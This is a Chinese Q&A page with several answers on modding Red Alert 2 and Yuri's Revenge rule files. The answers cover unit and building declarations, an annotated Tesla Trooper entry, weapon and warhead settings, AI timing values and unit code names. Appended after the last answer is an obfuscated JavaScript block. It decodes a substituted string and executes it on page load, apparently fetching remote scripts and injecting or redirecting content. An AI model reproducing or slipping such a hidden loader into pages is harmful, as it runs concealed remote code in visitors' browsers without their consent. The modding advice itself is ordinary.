红警修改建筑和添加兵种【不转截】

2024-11-22 12:05:31
推荐回答(5个)
回答1:

rulesmd.ini是尤里复仇的规则文件,rules.ini是红警原版的。
在原建筑的基础上修改比较简单,古巴的国家代码是“Confederation”,要让古巴造原来造不出单位和建筑,就在Owner=那后面,添上Confederation就行了,但每个国家名字间要用逗号隔开。
新添加兵种很麻烦要注意几点。
1、所有单位、建筑、国家、武器的弹头都要在规则文件的开头声明:
[InfantryTypes]这个是步兵的单位声明
[VehicleTypes]这是非步兵单位声明(包括战车、海军等)
[AircraftTypes]空军的
[BuildingTypes]建筑的
每种单位都有个编号,是按顺序排下来的,这个不能乱,要加新单位,就要将编号和单位名称依次加在对应的位置。
2、单位设置,每个单位的设置都是以方括号中的单位名称开头的,以磁暴步兵为例:
; Soviet Tesla Trooper(像这种“;”之后的内容都是注释,不影响设置,翻译过来是:苏联 磁暴 步兵)
[SHK] (定义的开始,SHK是磁暴步兵在规则文件中的名字,在[InfantryTypes]中可以找到他的声明是:3=SHK)
UIName=Name:SHK (单位名称,这个是在规则文件中用的名字,跟下面的有区别)
Name=Shock Trooper (在游戏中显示的名字)
Category=Soldier (单位的种类=士兵,这个决定是他在兵营中建造)
Primary=ElectricBolt (主武器)
Secondary=AssaultBolt (副武器,这个是磁暴兵给磁暴塔冲能的武器)
Assaulter=no ; I clear out UC buildings (攻击者=no,这里有个注释:我把它从可占领的建筑中清除了,这个跟后面武器的设置有关)
Prerequisite=NAHAND (制造前提,需要NAHAND,这个是苏联兵营的名字)
CrushSound=InfantrySquish (被碾压时的声音)
Crushable=no (是否能被碾压,no就是不能,所以上面那条就是空事)
Strength=130 (生命值 130)
Armor=Plate (装甲,金属)
TechLevel=5 (科技等级5,这个在战役里用的)
Pip=white (进入运兵车时小格子的颜色,磁暴兵是白色)
Sight=6 (视线范围 6)
Speed=4 (速度,这个别改得太大,一般步兵最好别超过10,不然会在地图上卡住)
Owner=Russians,Confederation,Africans,Arabs (拥有者,就是能够制造的阵营)
Cost=500 (造价500大洋)
Soylent=125 (进复制中心或者回收中心的卖价)
Points=5 (点数,消灭后的得到的经验,不过好像跟升级没关系)
IsSelectableCombatant=yes (是可选择的战斗单位,这个没什么实际意义)
VoiceSelect=TeslaTroopSelect (点选的声音)
VoiceMove=TeslaTroopMove (移动的声音)
VoiceAttack=TeslaTroopAttackCommand (攻击声音,下面几个带“Voice”的都是声音设置,可以忽略)
VoiceFeedback=TeslaTroopFear
VoiceSpecialAttack=TeslaTroopMove
DieSound=TeslaTroopDie (挂了的声音,惨叫声吧)
Locomotor={4A582744-9839-11d1-B709-00A024DDAFD1} (这个是运动的模式,不用管)
PhysicalSize=1 (物理尺寸,没什么实际意义)
MovementZone=Infantry (移动模式,步兵)
;MovementZone=InfantryDestroyer ;GEF wow!!! copy paste bug from the original Disk Thrower! (又是前面加了;的,此行无效)
ThreatPosed=20 ; This value MUST be 0 for all building addons (造成的威胁,这个是电脑AI的参考系数,越高就越先被攻击,注释说:所有建筑这项的值都必须是 0)
VeteranAbilities=STRONGER,FIREPOWER,ROF,SIGHT,FASTER (一星级拥有的能力。分别是:强壮-增加生命;火力加强-加攻击;攻击间歇缩短;视线加大;速度加快)
EliteAbilities=SELF_HEAL,STRONGER,FIREPOWER,ROF (三星级能力:自我治疗;增加生命、增加攻击、缩短攻击间歇)
ImmuneToVeins=yes (受心灵控制,会被尤里控制,改成no就不怕尤里了)
Size=1 (尺寸,决定在运输车里面占几个蹲位)
AllowedToStartInMultiplayer=no (出现在遭遇战的初始部队里,这里是no)
ElitePrimary=ElectricBoltE (三星级用的武器)
IFVMode=6 (进多功能步兵车的攻击模式)

以上只是举例而已,其他像机动单位和建筑的设置原理上相通的,自己慢慢研究了,有很多项目是相互关联的,比如,能够进驻建筑,就要跟着定义在建筑中使用的武器,等等,分号后面的注释是很重要的!

3、单位使用武器:以磁暴步兵的主武器为例:
; Fire by Telsa Trooper (注释,告诉你这是磁暴步兵开火用的)
[ElectricBolt] (定义名称)
Damage=100 (基础攻击)
ROF=30 (攻击间隔)
Range=7 (射程)
Speed=100 (子弹速度,100是最快的了,因为磁暴步兵的武器不是实弹的,看不见弹体)
Warhead=Shock (弹头,决定对不同装甲的伤害值,有单独的定义)
Report=TeslaTroopAttack (报告?应该是声音)
Projectile=InvisibleLow (抛射定义,对实弹武器有效,这里的值是:不可见的)
IsElectricBolt=true (是磁暴武器,本来就是)
AssaultAnim=UCELEC;the anim to play when a UC building is cleared (assaulters need this on their primary weapon)(攻击动画,注释说:这个动画是在可被占领建筑清除后播放(攻击者的主要武器需要这个),这个是跟前面单位设置里的Assaulter=no 相关。)
另一个比较重要的项目:Burst=2,这是一次攻击打出2发炮弹,天启的武器[120mmx]就是,但磁暴步兵的武器不需要。
至于弹头,不用怎么管,那个主要是决定这种武器对不同装甲的伤害,比如海豹部队的主武器就不能攻击建筑,坦克的武器对步兵伤害很弱,坦克杀手攻击机动单位强,对建筑和步兵弱等。其实只需要改武器的功击就可以解决问题了。
4、新单位的模型和图标问题:
如果你从已有单位中创建新单位的话,直接复制整段已有单位的代码,然后把名称改了,方括号中的、UIName=、Name=、都要改,前两个是唯一的,不能和其他单位重复。然后加一项:Image=,后面加你参考的单位的UI名,这项是定义在建造行列中的图标。
还要在artmd.ini文件中加入模型定义,具体就不说了,太麻烦,格式是一样的,用方括号加名字开始定义,就直接把已有单位的定义段找到,复制后改上新单位的名称就行了。
5、中文版的翻译问题,汉化文件是这个:r2md.csf,要用RA2CStrEditor这个工具打开,网上搜索得到。单位名称在类型那一栏的NAME项目中,选中过后就可以给新单位添加中文名了。不过直接新建有点麻烦,推荐随便选一项,粘贴复制后不覆盖,就可以直接改了,项目名称就是定义中Name=后面的,空白的位置就写新单位的中文名字了。

红警的规则文件结构大致就是:
第一部分是系统设置,包括修理、升级、空投之类的东西。
第二部分是定义和声明,告诉系统有哪些单位存在。
第三部分是详细设置,按照声明中登陆的名称来定义,这里面就包括每个单位的所有东西,其中跟其他项目有联系的就是建造前提(必须的建筑)和武器。
第四部分是武器设置,按照第三部分中单位使用武器的名称来定义,因为游戏中看不见具体的武器,所以武器不用在第二部分中声明,当然,武器的设置里包括了使用的弹头,将在下面定义。
第五部分是弹头设置,按声明中弹头的名称来定义。
剩下的部分还包括了游戏中箱子的设置、超武的设置等,因为超武的设置太复杂了,由好几个部分关联组成,几句话说不清楚的。
比如核弹:
发射的建筑要一个定义,也就是单位定义;
发射时间要一个定义,这个是超武特有的定义;
发射出去的导弹要一个定义,单位定义;
导弹造成的伤害,也就是导弹使用的武器定义;
这个伤害对不同装甲的伤害值,也就是弹头定义。
其实就是,超武发射本身是一种武器,这个武器只是发射出一个子单位:导弹,导弹自身的武器及其弹头才是我们看到的核弹效果!

说了这么多,如果你能耐心看完,就会明白,改规则文件并不是一件好玩的事情,而是一件很烦琐,需要耐心和不断收集、积累(最好有点英文基础和编程基础)甚至有点痛苦的事情,但你是真正的DIY玩家的话,这些都不算什么。
如果把红警的规则文件弄清除了,触类旁通,将军、家园等游戏都可以这样DIY,不过将军和家园用的是BIG压缩、而红警用的是mmx,但原理都一样。
如果只是想玩玩而已,不想弄得这么麻烦,就直接把已有单位加强就行了。

以上是我个人一直以来的一些研究和积累,还有很多细节的东西是一两句话说不完的,如果有志同道合的朋友,欢迎讨论指正!

回答2:

打开RULES.INI文件,我们看到的【;】符号以后的文字是属性介绍,是
无关紧要的,

查找TeamDelays,这是RULES中最重要的AI命令.如TeamDelays=1200,1350,1600,它分别对应冷酷的,中等的,简单的敌人的部队建造间隔.一般设为250,250,250,与下面的代码连用的话你将体会到敌人连续攻击的厉害!
MinimumAIDefensiveTeams 电脑最小的防御部队数量
MaximumAIDefensiveTeams 电脑最大的防御部队数量
AISafeDistance 电脑聚集部队离敌方(我方)基地的距离
DisabledDisguiseDetectionPercent 电脑识别幻影坦克的几率
AttackInterval 电脑每次进攻的时间间隔(建议设为0)
AttackDelay电脑首次进攻的时间间隔(建议设为0)
PowerSurplus 电脑保留电量的大小(建议设为250)
______________________________________________________________________
; repair and refit
RefundPercent=50%
______________________________________________________________________
这是规定拍卖建筑物时价格与实际造价的比例为50%,要是改为120%就是说卖
价比造价高(这样改可以炒楼了)______________________________________________________________________
;GEF
;************ American Paradrop Special Rules ***********
;These two lists _must_ have the same number of elements
;AmerParaDropInf=E1,GHOST,ENGINEER
;AmerParaDropNum=6,6,6 ;How many of each of those infantry

AmerParaDropInf=E1 ;(美国空投步兵类型)
AmerParaDropNum=8 ;(美国空投步兵数量)

AllyParaDropInf=E1 ;(盟军占有科技机场空投步兵类型)
AllyParaDropNum=6 ;(盟军占有科技机场空投步兵数量)

SovParaDropInf=E2 ;(苏军占有科技机场空投步兵类型)
SovParaDropNum=9 ;(苏军占有科技机场空投步兵数量)
______________________________________________________________________
这一段是空投伞兵规则,E1是美国大兵,E2是动员兵,_______________________________________________________________________

这是遭遇战模式下的玩家设置,加*的最好不要修改
[MultiplayerDialogSettings]
MinMoney=5000(可调最小资金)
Money=10000(默认资金)
MaxMoney=10000(可调最大资金,不要超过50000,否则数据有可能溢出)
MoneyIncrement=100
MinUnitCount=1(开始时最小单位数)*
UnitCount=10(开始时默认单位数)
MaxUnitCount=10(开始时最大单位数)
TechLevel=10*
GameSpeed=0*
AIDifficulty=0*
AIPlayers=0*
BridgeDestruction=yes(桥是否可摧毁)
ShadowGrow=no
Shroud=yes
Bases=yes*
TiberiumGrows=yes(矿石是否自然增长)
Crates=yes(升级工具箱)
CaptureTheFlag=no*
HarvesterTruce=no*
MultiEngineer=no*
AlliesAllowed=no(是否允许结盟)
ShortGame=yes(快速游戏)*
FogOfWar=no*
MCVRedeploys=yes(基地重新部署)*

大家可以到游侠补丁网 红警2 补丁专区上下载红色警戒II(red alert 2)规则修改文件

注意,在修改之前,一定要备份rules.ini,以便发生错误后替换.

--------------------------------------------------------------------------------

在RULES.INI中查找下列语句
RepairPercent=15% (修理建筑物所耗资金与原价比例)
BuildSpeed=.7 (建造时花费1000元所用时间,默认42秒,若改为".1"则只用6秒,暴快!
SoloCrateMoney=2000 (获得金钱升级工具箱所得资金)
ReloadRate=.3 (战机或反潜直升机重新装弹速度)
GrowthRate=5 (矿石自然增长速度,该值越大越慢)
系统修改就谈到这里,下面谈谈单位修改

在修改单位时,务必记住单位在rules中的注册名:

步兵类:
[E1]美国大兵 [SNIPE]狙击手 [E2]动员兵 [FLAKT]防空步兵 [SHK]磁暴步兵
[ENGINEER] 盟军工程师 [SENGINEER]苏军工程师 [JUMPJET]火箭飞行兵
[GHOST]海豹部队 [TANY]谭雅 [YURI]尤里 [IVAN]疯狂伊万 [DESO]辐射工兵
[CLEG]超时空军团兵 [DOG]苏军警犬 [ADOG]盟军警犬 [SPY]间谍 [TERROR]恐怖分子
战车类
[APOC]天启坦克 [DTRUCK]自爆卡车 [V3]V3火箭车 [DRON]恐怖机器人 [HARV]武装采矿车
[CMIN]超时空采矿车 [AMCV]盟军基地车 [SMCV]苏军基地车 [HTK]防空履带车
[HTNK]犀牛坦克 [MTNK]灰熊坦克 [MGTK]幻影坦克 [FV]多功能战斗车 [TNKD]坦克杀手
[TTNK]磁能坦克 [SREF]光棱坦克
舰船类
[SUB]攻击潜艇 [DLPH]海豚 [AEGIS]神盾巡洋舰 [CARRIER]航空母舰 [DRED]无畏级战舰
[HYD]海蝎 [DEST]驱逐舰 [SQD]乌贼 [LCRF]盟军气垫船 [SAPC]苏军气垫船
战机类
[ORCA]入侵者战机 [SHAD]夜鹰直升机 [ZEP]基洛夫飞艇 [BEAG]黑鹰战机
建筑类
[GATECH]盟军作战实验室 [NATECH]苏军作战实验室 [GAWEAP]盟军战车工厂
[NAWEAP]苏军战车工厂 [GAREFN]盟军矿厂 [NAREFN]苏军矿厂 [GAOREP]矿石精炼器 [GAYARD]盟军船坞[NAYARD]苏军船坞 [GAAIRC]空指部 [AMRADR]美国空指部
[GASPYSAT]间谍卫星[GAGAP]裂缝产生器 [GAPOWR]盟军发电厂 [NAPOWR]苏军发电厂
[NAHAND]苏军兵营 [NARADR]雷达 [NADEPT]苏军修理厂[NACLON]复制中心
[GAPILE]盟军兵营 [GADEPT]盟军修理厂[GAWALL]盟军围墙 [NAWALL]苏军围墙
[NAIRON]铁幕装置 [GAWEAT]天气控制器 [GACSPH]时空转移器 [NAPSIS]心灵感应器
[TESLA]磁暴线圈 [ATESLA]光棱塔 [NAMISL]核弹井 [NALASR]哨戒炮
[GAPILL]碉堡 [NASAM]爱国者导弹 [NAFLAK]防空炮 [NANRCT]核电站 [GTGCAN]巨炮

回答3:

让原有建筑可以被古巴建造……
首先改动Techlevel=1(不为0的任意整数,不要太大……)
其次改动以下语句至如下:
Prerequisite=NACNST
Owner=Confederation
添加语句:
RequiredHouses=Confederation

就只能古巴能造了……至于能攻击的埃菲尔铁塔……
代码段为
[CAPARS01]

回答4:

还是把原有的建筑改强点好,比如把飞机改成超强飞机,只能自己去造..新加建筑有危险..

回答5:

尤里复仇中,你选那关有秘宝实验室的那关,占领秘宝实验室,就可以随机拥有别的国家的科技
如果你占领了盟军的战车工厂,造一个恐怖分子,再造一个盟军的防空车{多功能附带车},让恐怖分子进去,再攻击敌人,你会有意想不到的结果!或者在一个动员兵,让疯狂译文邦个炸弹,再让他进防空附带车,可以多载几个兵,绑炸弹,进防空车{苏联的}这样即使时间到了,炸弹也不爆,再让防空车进攻,一定会被打死,你尽量让他在主基地旁打死,轰。。。。。。。。。。。。。。{不管是尤里复仇还是红警都行}禁止转载!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!转载毕必纠

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();